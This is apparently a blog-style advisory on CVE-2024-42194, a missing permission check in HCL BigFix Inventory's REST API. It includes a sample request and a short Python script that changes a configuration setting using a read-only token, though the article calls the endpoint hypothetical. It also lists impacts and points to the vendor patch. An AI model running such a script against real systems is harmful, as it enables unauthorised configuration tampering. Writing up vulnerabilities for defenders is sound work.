CVE-2024-42194 - Exploiting Insufficient Permission Handling in HCL BigFix Inventory

A new security vulnerability, CVE-2024-42194, has surfaced in HCL BigFix Inventory, revealing how improper permission checks can expose backend configurations to tampering. In this article, we’ll break down what this bug is about, showcase practical exploitation, and provide resources for mitigation. If you’re using HCL BigFix Inventory, or managing any system with role-based access controls, this is a warning you can’t afford to ignore.

What is CVE-2024-42194?

Discovered in mid-2024, CVE-2024-42194 impacts HCL BigFix Inventory. The flaw lets attackers abuse a read-only (low privilege) account to change certain application configurations through crafted REST API calls.

While a read-only account should never be able to modify settings, the bug occurs because the backend doesn’t properly check user privileges for API requests. This means malicious users with an account can escalate their impact without needing to gain admin credentials.

Technical Details

HCL BigFix Inventory’s web interface relies heavily on RESTful API endpoints for communication. Internally, the system is supposed to block read-only users from performing any changes to configurations. However, due to improper permission checks in API handlers, there’s a loophole.

Suppose the following (hypothetical) REST endpoint is used to update some configuration

POST /api/configuration/parameter
Content-Type: application/json
Authorization: Bearer <read-only-user-token>

{
  "parameterName": "scanInterval",
  "value": "10"
}

A read-only user should receive a permission error (HTTP 403 Forbidden) when trying to change "scanInterval", but, on a vulnerable version, the backend processes this as if it came from an admin.

Here’s a Python exploit that demonstrates the attack

import requests

# Substitute these values
API_URL = "https://bigfix-inventory.example.com/api/configuration/parameter";
AUTH_TOKEN = "YOUR_READ_ONLY_USER_TOKEN"

payload = {
    "parameterName": "scanInterval",
    "value": "10"   # Change scan interval to 10 minutes, for example
}

headers = {
    "Content-Type": "application/json",
    "Authorization": f"Bearer {AUTH_TOKEN}"
}

response = requests.post(API_URL, json=payload, headers=headers, verify=False)

print(f"Response: {response.status_code}")
print(response.text)

On affected systems, this returns 200 OK and the configuration is altered, even with a read-only account.

Potential Impact

- Configuration Tampering: Attackers could change how inventory collection, scanning, or reporting functions work.
- Service Disruption: By altering scan intervals or disabling certain checks, attackers can mask their activity or cause denial of inventory collection.
- Further Exploitation: Changed settings might weaken system security, potentially opening doors for deeper attacks.

Mitigation & Recommendations

HCL issued a patch as soon as this vulnerability became public. Upgrading to the latest version of HCL BigFix Inventory is the most effective fix:

- HCL Security Bulletin for CVE-2024-42194
- Official BigFix Inventory Downloads

Conclusion

CVE-2024-42194 is a textbook example of why proper privilege and permission checks are fundamental in web APIs. With only a read-only account, a malicious user can undercut defenses and shift application behavior to their advantage.

References

- CVE-2024-42194 NVD Entry
- HCL BigFix Inventory Security Bulletin
- BigFix Inventory Documentation


Stay safe and stay updated! If you have questions or want to report new findings, reach out on official HCL forums or responsible disclosure channels.

Timeline

Published on: 12/17/2024 18:15:23 UTC